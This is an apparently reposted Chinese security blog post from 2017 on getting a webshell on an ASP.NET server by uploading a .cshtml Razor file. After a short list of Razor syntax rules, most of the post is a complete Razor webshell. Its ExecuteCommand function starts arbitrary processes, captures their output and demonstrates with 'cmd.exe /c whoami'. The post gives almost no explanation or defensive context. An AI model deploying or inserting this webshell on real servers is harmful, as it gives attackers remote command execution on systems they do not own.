本文讲的是
从404到默认页面,通过.cshtml拿到webshell,
开始
Razor code blocks are enclosed in @{ … } Inline expressions (variables and functions) start with @ Code statements end with semicolon Variables are declared with the var keyword Strings are enclosed with quotation marks C# code is case sensitive C# files have the extension .cshtml
@using System.CodeDom.Compiler; @using System.Diagnostics; @using System.Reflection; @using System.Web.Compilation; @functions { string ExecuteCommand(string command, string arguments = null) { var output = new System.Text.StringBuilder(); var process = new Process(); var startInfo = new ProcessStartInfo { FileName = command, Arguments = arguments, WorkingDirectory = HttpRuntime.AppDomainAppPath, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false }; process.StartInfo = startInfo; process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data); process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data); process.Start(); process.BeginOutputReadLine(); process.BeginErrorReadLine(); process.WaitForExit(); return output.ToString(); } } @{ var cmd = ExecuteCommand("cmd.exe", "/c whoami"); } Output of the injected command (by Niemand): @cmd
@{ var weekDay = DateTime.Now.DayOfWeek; } Today is @weekDay
原文发布时间为:2017年5月10日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。